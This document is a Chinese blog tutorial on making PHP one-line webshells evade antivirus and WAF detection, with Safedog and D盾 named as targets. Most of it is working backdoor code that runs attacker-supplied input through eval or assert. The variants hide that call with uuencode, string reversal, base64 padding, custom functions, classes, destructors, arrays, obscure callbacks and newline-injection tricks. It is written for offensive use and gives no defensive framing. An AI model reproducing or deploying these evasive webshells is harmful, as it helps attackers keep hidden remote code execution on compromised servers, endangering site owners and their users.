1. 程式人生 > 實用技巧 >PHP木馬免殺的一些總結

PHP木馬免殺的一些總結

前言

這篇文章寫一些php木馬免殺的一些技巧,希望對大家有點幫助。這裡解釋一下什麼是php木馬,這裡大體分為三種:

  1. 能完成寫入檔案、列目錄、檢視檔案、執行一些系統命令等少量功能的,這種的是“小馬”。
  2. 可以在目標伺服器上執行php程式碼,並和一些客戶端(如菜刀、冰蠍)進行互動的一句話木馬。
  3. 根據 PHP 語法,編寫較多程式碼,並在伺服器上執行,完成大量間諜功能的“大馬”
    以上php木馬我們一般我們統稱為webshell,這篇文章主要寫一下如何對一句話木馬變異變形來繞過WAF的查殺。

一句話木馬原理

講php一句話木馬免殺之前,先簡單說一下一句話木馬原理,這樣才能更好的舉一反三。
先看程式碼:

<?php eval($_POST["shell"]);?>

其中eval就是執行命令的函式,官方給的說明是eval — 把字串作為PHP程式碼執行
函式eval()語言結構是 非常危險的,因為它允許執行任意 PHP 程式碼。
還有一點需要注意:因為是一個語言構造器而不是一個函式,不能被 可變函式 呼叫。
可變函式:通過一個變數,獲取其對應的變數值,然後通過給該值增加一個括號(),讓系統認為該值是一個函式,從而當做函式來執行。
說的在通俗一點,就是如果你這樣用<?php $a=eval;$a() ?>是不行的,所以變形免殺的時候不夠靈活,咱們找其他的函式代替,後面講免殺再詳細說。
$_POST['shell']就是接收的資料。也可以使用$_GET或者$_REQUEST。eval函式把接收的資料當作php程式碼來執行。這樣我們就能夠讓插了一句話木馬的網站執行我們傳遞過去的任意php語句。這便是一句話木馬的強大之處。
下面通過幾種方法講一講木馬的免殺

相同功能函式替換

一般WAF查殺,就是檢查關鍵字,而eval上文說過不夠靈活,這裡可以替換成assert,assert函式PHP手冊的解釋是:

assert() 回撥函式在構建自動測試套件的時候尤其有用,因為它們允許你簡易地捕獲傳入斷言的程式碼,幷包含斷言的位置資訊。當資訊能夠被其他方法捕獲,使用斷言可以讓它更快更方便!

而我們光替換還是遠遠不夠,還是無法逃過WAF查殺,這樣就需要變形了,所以第二種方法字串變形。繞安全狗比較靠譜,因為安全狗更注重形。而PHP操作字串的函式非常多,如下圖:

這裡也總結了一些:

convert_uudecode() #解碼一個 uuencode 編碼的字串。
convert_uuencode() #使用 uuencode 編碼一個字串。
ucwords() #函式把字串中每個單詞的首字元轉換為大寫。
strrev () #反轉字串
trim() #函式從字串的兩端刪除空白字元和其他預定義字元。
substr_replace() #函式把字串的一部分替換為另一個字串
substr() #函式返回字串的一部分。
strtr() #函式轉換字串中特定的字元。
strtoupper() #函式把字串轉換為大寫。
strtolower() #函式把字串轉換為小寫。
implode()  #將一個一維陣列的值轉化為字串。
str_rot13() #函式對字串執行 ROT13 編碼。

舉個例子:

<?php
// 使用 uuencode 編碼一個字串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>

這裡就不一一舉例了。

自定義函式繞過

舉個例子:

<?php
function shadog($a){
    $a($_POST["shell"]);
}
shadog(assert);
?>

這種方法繞安全狗比較靠譜,在D盾面前就比較弱智了。

回撥函式

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

現在大部分回撥函式已經被防毒軟體加入全家桶了,得找那比較生僻得。
比如:

<?php 
forward_static_call_array(assert,array($_POST["shell"]));
?>

上面說大部分回撥函式被防毒軟體加入全家桶,那如何繞過呢?還可以變形,比如我再定義一個函式,或者再定義一個類。
比如我定義一個函式

<?php
function shawaf($a,$b){
    forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>

也可以定義一個類

<?php
class shawaf{
    var $a;
    var $b;
    function __construct($a,$b)
    {
        $this->a=$a;
        $this->b=$b;
    }
    function test(){
        forward_static_call_array($this->a,$this->b);
    }
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>

特殊字元干擾

特殊字元干擾,要求能干擾到防毒軟體得正則判斷,還要程式碼能執行。比如網上流傳得連線符。
舉個例子:

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

陣列繞過

可以把程式碼放入陣列中,執行繞過:

<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>

類繞過

舉個例子:

<?php 
class shawaf
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}

$b = new shawaf;
$b->a = $_POST["shell"];
?>

編碼繞過

這個比較常用得是base64_decode,和base64_encode這一對。因為他的正則匹配可以加入一些下劃線干擾殺軟。
舉個例子:

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>

小結

通過上面得方法,基本可以有上百種變形,多看看PHP手冊。還有一點值得注意,就是PHP7.1之後得版本,已經不能使用強大的assert()函數了。在總結一點,結合防毒軟體的特性來構造相應的免殺方法。比如安全狗殺型,D盾殺參,對於關鍵詞的後傳入對於繞過主流殺軟都是比較好的。